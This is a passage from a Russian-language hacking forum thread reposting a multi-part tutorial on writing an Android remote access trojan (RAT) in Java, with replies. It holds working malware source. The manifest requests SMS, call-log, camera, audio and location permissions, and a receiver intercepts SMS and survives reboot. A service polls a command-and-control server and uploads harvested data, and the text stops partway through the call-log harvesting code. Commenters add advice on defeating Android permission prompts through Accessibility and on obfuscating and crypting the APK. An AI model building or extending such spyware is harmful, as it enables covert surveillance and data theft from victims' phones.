• XSS.stack #1 – первый литературный журнал от юзеров форума

Свой RAT для Android

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Свой RAT для Android - Часть 1


Содержание статьи:
  1. Приветствие
  2. Создание проекта в Android Studio
  3. Создание шаблона приложения и создание части будущего функционала
  4. Заключение
1. Приветствие

Всем читателям привет и добрый вечер. Это моя первая статья на тему создания RAT (или же бота) для Android на языке Java, да и вообще в принципе моя первая статья.

Автор этой статьи вдохновился уже существовавшим RAT для Android под названием Dendroid-HTTP-RAT (или же BetterAndroidRat), но по прошествии многих лет часть функционала перестала работать, а часть и вовсе требует разрешений у системы Android для полноценной работы. Вот так автор немного покумекал и решил, а почему бы не написать свой RAT имея часть готового функционала, который со спокойной душой можно дополнить своим.

Сам же проект будет состоять из нескольких частей - сервер и клиент. В качестве клиента у нас будет выступать сам RAT, установленный на Android смартфон, а в качестве сервера будет выступать наш WEB-интерфейс (сайт) или же программа для отправки команд на сервер (которую мы с вами, возможно, напишем в будущих статьях).


Для написания серверной части нам понадобится знания PHP, HTML, CSS, MySQL и прочего (ну по факту большая часть кода будет предоставлена). А для клиента, о какая радость, всего один язык - Java.

Я думаю что с вступлением можно покончить т.к. большинство, наверное, уже хочет перейти к самому коду, так что вперед.


2. Создание проекта в Android Studio

Я надеюсь что те кто хочет написать или писал приложения для Android уже установили AndroidStudio (в теории и Eclipse бы подошел, но автор пишет в AS так что будьте добры, не злитесь, если вдруг что-то из моих действий не вышло сделать в среде Eclipse), поэтому приступаем к созданию пустого проекта. Выбираем свое название, выбираем минимальную версию SDK 16 и язык разработки Java, жмем "Finish".
_.PNG


_ (1).PNG


Идем дальше.

2. Создание шаблона приложения и создание части будущего функционала
Я думаю что всем хотелось бы чтобы их программа работала на старших версиях Android, поэтому первым делом мы создадим метод для получения разрешений. Однако перед этим заглянем в манифест приложения и напишем все с чем нам нужно работать. Если вам кажется что какие методы не нужны, то можете их убрать (я действительно добавил их больше чем требуется)
XML:
<uses-permission android:name="com.android.vending.BILLING" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.NFC" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.TRANSMIT_IR" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.FLASHLIGHT" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
Ну что же, с манифестом покончено, пора приступать к методу получения разрешений. Мы проверим версию SDK и если она будет выше 23 (где-то 5-я или 6-я версия Android; автор слишком ленив чтобы проверять)
Java:
public void checkPermission() {
    if (Build.VERSION.SDK_INT >= 23) {
        List<String> permissions = null;

        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.READ_PHONE_STATE);
        }
        if (checkSelfPermission(Manifest.permission.GET_ACCOUNTS) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.GET_ACCOUNTS);
        }
    
        //Тут нужно будет дописать остальные разрешения по такому типу
        /*
        if (checkSelfPermission(Manifest.permission.РАЗРЕШЕНИЕ) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.РАЗРЕШЕНИЕ);
        }
        */

        if (permissions != null) {
            String[] permissionArray = new String[permissions.size()];
            permissions.toArray(permissionArray);
            requestPermissions(permissionArray, 0);
        }
    }
}
Увы и ах, но остальные разрешения вам нужно будет дописать самим. Надеюсь что это не составит большого труда.
Также в будущем мы добавим еще один метод для проверки, который будет повторно вызывать получение разрешений в случае отказа пользователя (но это уже потом, так что можно было это не читать).

Ну и теперь пропишем в главной функции наш метод.
Java:
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    try {
        checkPermission();
    } catch (Exception e) {
        e.printStackTrace();
    }

}

Надеюсь ни у кого не вызвало вопрос почему я сделал запрос через try (ну, а если вдруг и вызвало, то скажу - чтобы при ошибке не вылетела программа и мы могли просмотреть ее в режиме debug).
И так. С главной частью покончили, теперь можем быть спокойны что наше приложение будет работать на всех версиях (но это не точно) Android (начиная с минимально указанной нами версии при создании проекта). Дальше нам потребуется создать метод для запуска сервиса и сам сервис.

Можем приступать к следующему этапу. Для начала создадим новый Java файл и назовем его MainService. Дальше нужно дописать нашему классу наследование и создать пару методов. Чтобы вас сильно не нагружать, даю сразу код. И да, AndroidStudio должна сама выдавать нужные импорты, поэтому в коде я их не указываю .
Java:
public class MainService extends Service {

    private final IBinder myBinder = new MyLocalBinder();

    //Если вы выбрали другое название, то поменяйте MainService на свое
    public class MyLocalBinder extends Binder {
        MainService getService() {
            return MainService.this;
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return myBinder;
    }
}

Так же сразу в MainService создадим функцию которая будет вызвана при создании и сделаем так чтобы она была в потоке.
Java:
@Override
public void onCreate() {
    super.onCreate();
    obtainTask.start();
}
Осталось только создать наш поток и можем на время забыть про наш сервис. И так, пишем следующее.
Java:
Thread obtainTask = new Thread() {
    @SuppressLint("Wakelock") @Override
    public void run() {
        Looper.prepare();

        while (true) {
            try {
                Thread.sleep(10000);
            } catch (Exception e) {
                obtainTask.start();
            }
        }
    }
};
Пока что наш сервис ничего не делает, происходит лишь перезапуск сервиса каждые 10 секунд. После мы еще вернемся к нашему сервису т.к. он в дальнейшем будет получать команды, обрабатывать их и отправлять данные на сервер, но на пока мы можем возвращаться в наш главный файл MainActivity и создать там функцию для проверки работоспособности сервиса, который мы только что создали.
Java:
private boolean isMyServiceRunning() {
    ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (MainService.class.getName().equals(service.service.getClassName())) { //вместо MainService название ранее созданного вами сервиса
            return true;
        }
    }
    return false;
}
Теперь осталось только сделать проверку при запуске программы.
Java:
if(!isMyServiceRunning()) {
    startService(new Intent(getApplicationContext(), MainService.class)); //название MainService замените на свое
}
4. Заключение
И да, изначально код может совпадать в некоторых местах с уже упомянутым Dendroid, но это только начало, так что надеюсь что это будет воспринято адекватно. В дальнейшем я планирую сделать следующий функционал :
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем
    3. Удаление сообщение
    4. Блокировка сообщений
    5. Отправка сообщений
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента
    6. Запись звонков
  6. Работа с камерой
    1. Съемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение медиа (фотографий) @feature
  9. Доступ к проводнику (доступ к файловой системе)
  10. Получение информации об устройстве (куда же без нее) @feature
  11. Управление смартфоном
    1. Громкость
    2. Яркость
    3. Обои
    4. Прочее
Весь этот список будет расширяться. Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Надеюсь статья вышла интересной и не громоздкой. Пишите свои пожелания по поводу того что стоит исправить, как лучше подойти к оформлению статьи и какой стиль общения хотели бы вы видеть дальше. Если понравилось то поставьте отметку на опросе.


Доп. фото

1570012949751.png


1570013005375.png


1570013041196.png


Автор @Vorobyshek
взято с codeby
 
Весь этот список будет расширяться. Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Надеюсь статья вышла интересной и не громоздкой. Пишите свои пожелания по поводу того что стоит исправить, как лучше подойти к о
функция инсталляции приложения была бы топ, не видел такого ни в одном андроид шпионе(максимум менеджер уже предустановленных приложений)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Опять статьи в стиле "Маза" ^_^ код ужасен)

Как скрыть от пользователя разрешения? и произвести обусфукацию кода.
скрыть не получится, так как от 6й версии и выше, все права нужно запрашивать вручную. Но имея одни права Accessability вы можете их прокликивать. На счет обфускации кода, то тут юзайте proguard но он не трогает название классов и строки. Тут придется дописывать внешнее обфусцирование перед компиляцией. Ну или юзайтей платные протекторы, их тоже полно)

функция инсталляции приложения была бы топ, не видел такого ни в одном андроид шпионе(максимум менеджер уже предустановленных приложений)
чего простите функция?

P.S. судя по задумкам, автор статьи не понимает вообще архитектуру android. И некоторые вещи не реализуемы)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
дендройд сегодня работоспособен? его функционал очень подходящий. можно как его осовременить?
 
Я только изучаю ведро, но вырвите мне мои глаза. MainActivity extends AppCompactActivity. Серьезно? В жопу вес приложения.
Зачем перед запуском проверять запущен ли твой сервис? При startService если сервис уже работает, то будет вызван метод onStartCommand, а не onCreate
По динамическим пермишенам - я код не знаю точный, но легко гуглится, что чекнуть и вызвать окно для получения прав можно 1 командой передав массив а не по 1
А еще сейчас бы использовать Looper + цикл While (true), ведь Executors daily для слабаков

Вывод:
или сначала хоть чуть-чуть погугли что к чему (как это сделал я), попрактикуйся и потом выкладывай код
или удались

Опять статьи в стиле "Маза" ^_^ код ужасен)


скрыть не получится, так как от 6й версии и выше, все права нужно запрашивать вручную. Но имея одни права Accessability вы можете их прокликивать. На счет обфускации кода, то тут юзайте proguard но он не трогает название классов и строки. Тут придется дописывать внешнее обфусцирование перед компиляцией. Ну или юзайтей платные протекторы, их тоже полно)


чего простите функция?

P.S. судя по задумкам, автор статьи не понимает вообще архитектуру android. И некоторые вещи не реализуемы)
можно и не вручную, если поколдавать с targetSDK
по обфускации я видел классное решение в модулях Android Studio. В 1 клик строки обфусцирует. Название не помню :(

UPD: я видел что не ТС автор, но зачем выкладывать подобное, если не разбираешься хоть капельку
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
по обфускации я видел классное решение в модулях Android Studio. В 1 клик строки обфусцирует. Название не помню
поверь нормальных обфускаторов из коробки нету ^_^
 
по обфускации я видел классное решение в модулях Android Studio. В 1 клик строки обфусцирует. Название не помню
allatori называется
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите плиз, на файл .APK производится обусфукация кода или криптовка. либо можно делать обе операции вместе?
 
allatori называется
нет, ща чекнул, я говорил про DXJavaStringEncryptor
Подскажите плиз, на файл .APK производится обусфукация кода или криптовка. либо можно делать обе операции вместе?
ну если не придераться к определениям, то да:
1. в коробке обфускация проводится ProGuard (самое простенькое + оптимизация кода)
2. ну если брать типо крипта - ftt. Они dex файл пихают в dat файл и шифруют его, а при инициализации делают декрипт и запуск в памяти (если я ничего не путаю)
 
Свой RAT для Android - Часть 2

Содержание статьи:
  1. Приветствие
  2. Скачивание пакетов
  3. Создание WEB-затычки и метода для отправки запросов
  4. Определение и обработка нужных методов
  5. Бонус
  6. Заключение
1. Приветствие

Всем читателям привет и добрый вечер (похоже это станет моим основным приветствием). И так, это уже вторая статья на тему создания RAT для Android на языке Java. Если у кого-то остались вопросы из прошлой статьи, спрашивайте в этой, не беда.

Так же хотелось бы заметить что MainService теперь называется по другому, а именно - TranosService. Почему такое название ? Да я и сам не знаю. Просто пришло в голову вот и решил переделать (думаю что проблем из-за смены названия ни у кого не возникнет).

В этой статье мы создадим затычки (WEB часть, которая будет выдавать нужные нам задания) и часть функционала, который будет расширяться. Для дальнейшей работы нам нужно будет скачать два основных пакета с GitHub и пару дополнительных. Советую вам не скачивать их через Gradle (хотя некоторые все же придется скачать именно через него), а скачать напрямую и положить их в проект т.к. это позволит в дальнейшем расширить существующий в этих пакетах функционал.

2. Скачивание пакетов и их настройка
Вот этот и вот этот пакет скачать нужно будет архивом и закинуть в папку с проектом. (Папка modules и ServiceReceiver нам понадобится потом, можно пока что не создавать)
1570091729089.png


Их в дальнейшем мы будем дополнять т.к. там нет всего функционала, который нам нужен. Самое неприятное в этом методе это то что там будут прописаны свои package названия, которые нам потребуется заменить. Дело не сложное, но потребует от вас минут 5-10 лишнего времени.

После того как вы скачали и распаковали пакеты в папку с проектом, необходимо его собрать и просмотреть список ошибок снизу. Вам нужно поменять все package имена на свои.
1570094149535.png
А вот пакет для http запросов и вывода логов установим через Gradle. Для этого зайдите в файл build.gradle (Module: app) и допишите в dependencies следующий код, а потом либо запустите сборку проекта либо либо нажмите на кнопку "Sync Project with Gradle Files" чтобы Gradle установил пакеты.
1570092050914.png
Код:
dependencies {
    implementation 'com.github.kevinsawicki:http-request:5.6'
    implementation 'com.orhanobut:logger:2.2.0'
}

3. Создание WEB-затычки и метода для отправки запросов
Для создания затычки можно использовать любой хостинг (можно даже локальный сайт, однако потом, когда программа выйдет в свет, то вам уже не обойтись без полноценного сайта, ну или же без статического IP и OpenServer-а или No-IP). Для тех у кого статический IP и они захотят сделать свой локальный сайт глобальным, сделаю небольшую статью (ну или напишу как это сделать в качестве бонуса).
Если вы используете локальный сайт, то вам потребуется:
  1. Android смартфон (я не вникал как сделать так чтобы эмулятор мог обращаться к локальной сети) или же установите Android эмулятор, который имеет режим моста (Nox вроде имеет, но у меня не сработал, так что все же лучше смартфон).
  2. Создать PHP файл на вашем локальном сайте (название любое, но у меня будет function.php)
  3. Напишем код
  4. Ну и получим ссылку на файл с ip адресом вашего ПК в локальной сети, например http://192.168.0.108/function.php
Если вы используете хостинг, то вам нужно:
  1. Создать PHP файл
  2. Написать код
  3. Ссылку к файлу скопировать и вставить в нужное место (да-да, смешно)
Наша затычка для проекта
PHP:
<?php
if($_GET['id'])
    echo json_encode(['response' => 'test_function_hello']);
else
    echo json_encode(['response' => 'Error']);

4. Определение и обработка нужных методов
Пропишем в манифесте наш сервис. (Вместо com.tranos.app.TranosService напишите свое)
XML:
<service android:name="com.tranos.app.TranosService"
    android:enabled="true"
    android:exported="true"
    android:persistent="true">
</service>

Ну, а теперь пора бы и приступить к главному гвоздю нашей программы - коду. В TranosService (название MainService из прошлой статьи поменялось, у кого другое, можете не менять) добавим новую строку.
Java:
private String URL_DEFAULT = "http://192.168.0.150/"; //тут ваша ссылка БЕЗ файла на локальный сайт или же на хостинг
1570094420481.png
И теперь немного поменяем нашу переменную с потоком (называлась она obtainTask)
Java:
Thread obtainTask = new Thread() {
    @SuppressLint("Wakelock") @Override
    public void run() {
        Looper.prepare();

        while (true) {
            try {
                String serialId = BuildHelper.mobGetBuildInfo().getString("serial"); //получаем серийный идентификатор устройства
                //String serialId = MobileHardWareHelper.mobileBuild().getString("serial"); //результат один и тот же что и с верхним
                String result = query(String.format("%sfunction.php?id=%s", URL_DEFAULT, serial)); //отправляем запрос на наш сайт (вместо function напишите название своего файла с сайта)
                String response = new JSONObject(result).getString("response"); //получаем результат из response, в нашем случае это будет test_function_hello
                List<String> list = new ArrayList<String>(Arrays.asList(response.split("_"))); //разбиваем наш результат по нижнему подчеркиванию, получаем 0->test | 1->function | 2->hello

                if (list.size() > 0) { //если у нас не пустой результат
                    if (list.get(0).contains("test")) { //если у нас в первым заданием будет test
                        Test(list); //то запускаем функцию Test, которая будет сделана чуть ниже и передаем ей наш массив с параметрами
                    }
                }


            } catch (Exception e) {

            }


            try {
                Thread.sleep(10000);
            } catch (Exception e) {
                obtainTask.start();
            }
        }
    }
};
Но дайте отгадаю. У вас появились ошибки ? Значит будем исправлять.
Создадим функцию query, которая будет получать задания.
Java:
public String query(String url ) {

    String response = "Network unavailable";
    if(true) { //NetworkUtils.isNetworkAvailable() тут будет проверка на интернет
        try {
            response = HttpRequest.get(url).accept("application/json").body();
        } catch (Exception e) {
            return response;
        }
    }
    return response ;
}
Хорошо, с этим тоже разобрались, но еще как минимум одна ошибка у нас осталась. У нас все еще нет функции Test, значит создаем.
Java:
private void Test(List<String> list) {
    Logger.d(list); //выведет нам наш массив
    if(list.get(1).contains("function")) {
        Logger.d("Функция успешно получена и обработана");
        if(list.get(2).contains("hello")) {
            Logger.d("Привет, мир, я новый бот.");
        }
    }
}
Думаю что из комментариев все будет понятно, а импортов, которых у вас не хватает можно добавить нажав на красное слово и комбинацией Alt + Enter, или же наведя на красную лампу, которая должна появится слева (П.С. не забываем что проект делается в Android Studio, ну это так, на всякий, вдруг кто-то все таки с Eclipse).

5. Бонус
Бонус только для тех кто скачал пакеты не с помощью Gradle, а так скажем, ручками и все подправил под свой проект.
Так вот, первое что мы сделаем - зайдем
-> mobilehardware
-> Base
-> BaseData
И добавим первые дополнительный класс CallLogs.
Java:
public static class CallLogs {
    public static final String CALL_NUMBER = "callNumber";
    public static final String CALL_NAME = "callName";
    public static final String CALL_DATE = "callDate";
    public static final String CALL_TYPE = "callType";
    public static final String CALL_DURATION = "callDuration";
}
1570093603864.png
Пока что это - заготовка на будущее.

6. Заключение
В этой статье мы сделали так чтобы наш клиент получал команды с сервера и выполнял нужные нам действия (да, их пока всего одно, но это пока). В следующей части мы добавим метод для получения звонков с устройства, а может и сразу сообщений (посмотрим как зайдет статься).

Дальнейшее руководство и действия будут в следующих главах, так что не пропусти. Пишите свои предложения по поводу расширения функционала и вообще любые ваши идеи.
Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Где есть пометка @todo, значит этот функционал в стадии разработки и должен скоро появится.
Где есть пометка @issue, значит этот функционал был предложен одним из пользователей и вызвал интерес у автора и в скором времени будет реализован.
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс @todo
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем @todo
    3. Удаление сообщение @todo
    4. Блокировка сообщений
    5. Отправка сообщений @todo
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента @todo
    6. Запись звонков
  6. Работа с камерой
    1. Фотосъемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение данных GPS @feature
  9. Получение списка контактов с телефона @feature
  10. Получение медиа (фотографий) @feature
  11. Доступ к проводнику (доступ к файловой системе)
  12. Получение информации об устройстве (куда же без нее) @feature
  13. Получение Root прав
  14. Управление смартфоном
    1. Громкость @todo
    2. Яркость @todo
    3. Обои
    4. Прочее


Автор @Vorobyshek
взято с codeby
 
Свой RAT для Android - Часть 3

Содержание статьи:
  1. Приветствие
  2. Правка проекта
  3. Делаем крутой парсер функций вместо гавнокода
  4. Бонус
    1. Получение звонков
    2. Получение сообщений
  5. Заключение
1. Приветствие

Ну что же, это третья статья, так что всем снова привет и добрый вечер. Жаль что у второй статьи на данный момент в 5 раз меньше просмотров чем у первой (1к против ~200), но надеюсь в дальнейшем темой заинтересуется больше людей т.к. то что будет в этой статье не находил нигде.
Если именно Вы вдруг находили часть материала из статьи в интернете, не стоит ругаться или говорить что автор обманул Вас, т.к. все равно большая часть информации есть в сети, а автор решил собрать её всю, обмозговать и выдать в простом формате сложные вещи (имхо).
Сегодня мы поправим наш манифест и создадим главную функцию, которая будет вызывать остальные, а так же будет получать анотации (информацию) функций. В дальнейшем этот функционал понадобится нам для управления ботом через Telegram так что опять же - это частично заготовка на будущее. Ну и раз уж в прошлой статье проголосовали и за получение сообщений и за получение звонков, то все это будет исполнено специально для Вас.

2. Правка проекта
Те кто начал делать проект по моим статьям, могли заметить что все равно есть ошибки и некоторые вещи просто могут не заработать. А для этого нам надо отредактировать файл манифеста.
У меня он выглядит так. Я не стал перечислять все разрешения в манифесте т.к. они указаны в одной из предыдущих статей.
XML:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.tranos.app">

    <uses-permission
        android:name="android.permission.GET_ACCOUNTS"
        android:maxSdkVersion="22" />

    <supports-screens
        android:resizeable="true"
        android:largeScreens="true"
        android:xlargeScreens="true" />

    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.VIBRATE" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:allowBackup="false"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="com.tranos.app.Application"
        android:theme="@style/AppTheme">
        <activity
            android:name=".MainActivity"
            android:excludeFromRecents="true"
            android:label="@string/app_name">

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <activity
            android:name="com.tranos.app.modules.CameraView"
            android:excludeFromRecents="true">
        </activity>

        <service android:name="com.tranos.app.TranosService"
            android:enabled="true"
            android:exported="true"
            android:persistent="true">
        </service>

        <receiver android:name="com.tranos.app.ServiceReceiver"
            android:enabled="true"
            android:exported="true"
            android:persistent="true">
            <intent-filter android:priority="9999">
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.provider.Telephony.SMS_DELIVER" />
                <action android:name="android.intent.action.PHONE_STATE" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
    </application>
</manifest>
Вы наверное спросите что это за ServiceReceiver и CameraView т.к. они не встречались в предыдущих главах. А я отвечу что второй послужит нам для возможности делать фотографии с устройства, а первый класс - для перехвата сообщений и в целом он послужит неким передатчиком в нашем проекте (он получает состояние устройства, то есть включение/прием сообщения/звонков/отключение и включение экрана и многие другие состояния). У нас же его роль будет в перезапуске нашего сервиса, который получает команды, а так же в перехвате сообщений.

Так же стоит мигрировать на AndroidX (если вы не поставили галочку на andoidx при создании проекта) т.к. это позволит избежать в будущем некоторых проблем. Если вдруг у вас нет данного пункта, советую обновить Android Studio.

3. Делаем крутой парсер функций вместо гавнокода
Теперь пришла пора создать папку modules в нашем проекте. Название не особо играет для нас роль, но в этой папке будут хранится наши с вами вспомогательные файлы.
1570989711360.png
В ней создадим файл Reflection с таким содержанием. Проверим на сколько вы терпеливые. Код переписывать ручками (не бейте).
1570989993482.png
А дальше нам нужно создать наш класс с функциями, ну и еще с анотациями.
Java:
@Retention(RetentionPolicy.RUNTIME)
@interface customAnnotation {
    public String option() default "";
    public String help() default "";
    public String inf() default "";
    public String root() default "";
}

class Functions {

    private static void sendResult(String result, String server) {
        if(server.contains("test") || server.contains("telegram")){
            Logger.d(result); ]
        } else {
            try {
                queryStream(URL_SUCCESS + URLEncoder.encode(toBase64(result), "utf-8"));
            } catch (UnsupportedEncodingException e) {
                Logger.d("Непредвиденная ошибка");
            }
        }
    }

    private List<String> parseCommand(String input){
        return new ArrayList<>(Arrays.asList(input.split("[-_ ]")));
    }

    private boolean checkNull(String checker){
        return (!checker.isEmpty() && checker.trim() != "");
    }

    private boolean checkState(String state){
        return (state.contains("true") || state.contains("1") || state.contains("on"));
    }

    private void getMethods4Telegram(Class<?> cls) {
        Method[] methods = cls.getDeclaredMethods();
        String allMethods = "";
        for (Method method : methods) {
            List<String> type = new ArrayList<>(Arrays.asList(method.toGenericString().split(" ")));

            String anot = "";
            String help = "";
            String root = "";
            Annotation[] annotation = method.getDeclaredAnnotations();
            for (Annotation a : annotation) {
                customAnnotation self = (customAnnotation)a;
                anot = checkNull(self.option()) ? " [" + self.option() + "]" : "";
                help = checkNull(self.help()) ? " - " + self.help() : "";
                root = checkNull(self.root()) ? " (" + self.root() + ")" : "";
            }

            if(type.get(0).contains("public")) {
                allMethods += "/" + method.getName().replace("__", "")  + root + anot + help + "\n";
            }
        }
        sendResult("Для более детальной информации по конкретному методу вызовите\n/help имя_функции\n\n" + allMethods, TELEGRAM);
    }

    private void getMethod4Telegram(Class<?> cls, String m) {

        Method method = null;
        try {
            method = cls.getMethod("__" + m, String.class);
        } catch (NoSuchMethodException e) {
            sendResult(UNKNOWN_RESULT, "telegram");
        }

        String anot = "";
        String help = "";
        String root = "";
        String inf = "";
        Annotation[] annotation = method.getDeclaredAnnotations();
        for (Annotation a : annotation) {
            customAnnotation self = (customAnnotation)a;
            anot = checkNull(self.option()) ? " [" + self.option() + "]" : "";
            help = checkNull(self.help()) ? " - " + self.help() : "";
            root = checkNull(self.root()) ? " (" + self.root() + ")" : "";
            inf = checkNull(self.inf()) ? self.inf() : "";
        }

        String allMethod = "/" + method.getName().replace("__", "")  + root + anot + help + "\n" + inf;

        sendResult(allMethod, TELEGRAM);
    }

    @customAnnotation(option = "function", help = "справка по функциям")
    public void __help(String response){

        List<String> args = parseCommand(response);
        String server = args.get(args.size() - 1);

        try {
            Class<?> cls = Functions.this.getClass();
            if(!checkNull(args.get(0))) {
                Logger.d(args);
                getMethods4Telegram(cls);
            }
            else {
                Logger.d(args);
                getMethod4Telegram(cls, args.get(0));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public void __test(String response) {
        Logger.d(parseCommand(response));
    }

    public void __test1(String response) {
        Logger.d(parseCommand(response));
    }

    public void __test2(String response) {
        Logger.d(parseCommand(response));
    }
}
Этот код вставляем чуть выше Reflection.
7777.png
Мы бы конечно могли сделать проверку для каждой функции по типу if(response.containts("nameOfFunction")) { }, но зачем столько лишнего кода. Если честно, сначала я начал так делать, но как ленивый человек я подумал: "А как можно сделать это проще?". Вот так и вышел код сверху.

п.с. проще было бы гавнокодом

А теперь вперед разбираться в бреде что только что был написан.
Первое что мы видим - это наша функция sendResult, которая в дальнейшем будет отправлять наши команды в Telegram, а пока что она просто все выводит в консоль. В ней же мы видим функцию queryStream, которая находится (ну или через пару минут будет) в нашем сервисе TranosService (не забываем что названия у нас с вами могут различаться).
Java:
public static InputStream queryStream(String url) throws UnsupportedEncodingException {
    if(NetworkUtils.isNetworkAvailable()) {
        InputStream content = null;
        try {
            HttpClient httpclient = new DefaultHttpClient();
            HttpResponse response = httpclient.execute(new HttpGet(url));
            content = response.getEntity().getContent();
            httpclient.getConnectionManager().shutdown();
        } catch (Exception e) {

        }
        return content;
    }
    return null;
}
Дальше у нас parseCommand. Собственно эта функция будет парсить команды вида help_test function-hello. Почему такой синтаксис команд ? Так решил не великий Я. Чо пристали ?
Следом идет checkNull и checkState (checkNull следовало бы назвать checkNotNull), первая из которых проверяет не пустая ли у нас строка и, если не пустая то возвращает ТРУУУ, а вторая будет определять статус для функций (то есть надо ее включить или отключить).

А теперь самое интересное getMethods4Telegram и getMethod4Telegram. В чем разница, спросите Вы ? А те кто читал внимательно заметили дополнительную букву s в первом методе. Эта функция будет получать все публичные методы из нашего класса, а так же анотации и отправлять их в Telegram наш sendResult.
Выглядеть это будет так.
Это функционал, который уже работает (но его уже реализовано куда больше чем вы видите).

0111.png
И вторая наша функция getMethod4Telegram будет получать help по определенной функции.
1570991499711.png
Вся информация получает из анотаций к методам. Перед функцией нужно написать.
Java:
@customAnnotation(inf = "эта инфа будет показана при просмотре хелпа по этой функции", root = "root права требуются", option = "первый аргумент", help = "справка по функциям")


ВАЖНО - ПЕРЕД НАЗВАНИЕМ ФУНКЦИИ СТАВИМ ДВА НИЖНИХ ПОДЧЕРКИВАНИЯ.

4.Бонус

Как я и говорил, мы сделаем получение звонков, а вместе с ними и сообщений. Заготовку для звонков мы сделали в предыдущей статье, сейчас же вам нужно будет дописать в BaseData код для сообщений.
99999999.png
Дописали ? Тогда приступаем к коду.
В папке mobilehardware создаем папку calls и в ней создаем три файла CallLogsBean, CallLogsHelper и CallLogsInfo. На самом деле файл Helper для по сути бесполезен, но я решил придерживаться структуры всех остальных файлов из этого пакета, поэтому и создал его. Файл Info будет получать и устанавливать всю нашу информацию в нужные нам переменные из Bean.
Java:
package com.tranos.app.mobilehardware.calls;

import android.util.Log;

import com.tranos.app.mobilehardware.base.BaseBean;
import com.tranos.app.mobilehardware.base.BaseData;

import org.json.JSONObject;

public class CallLogsBean extends BaseBean {

    private static final String TAG = CallLogsBean.class.getSimpleName();

    private String callNumber;
    private String callName;
    private String callDate;
    private String callType;
    private String callDuration;

    public String getCallNumber() { return  callNumber; }
    public String getCallName() { return  callName; }
    public String getCallDate() { return  callDate; }
    public String getCallType() { return  callType; }
    public String getCallDuration() { return  callDuration; }

    public void setCallNumber(String callNumber) { this.callNumber = callNumber; }
    public void setCallName(String callName) { this.callName = callName; }
    public void setCallDate(String callDate) { this.callDate = callDate; }
    public void setCallType(String callType) { this.callType = callType; }
    public void setCallDuration(String callDuration) { this.callDuration = callDuration; }


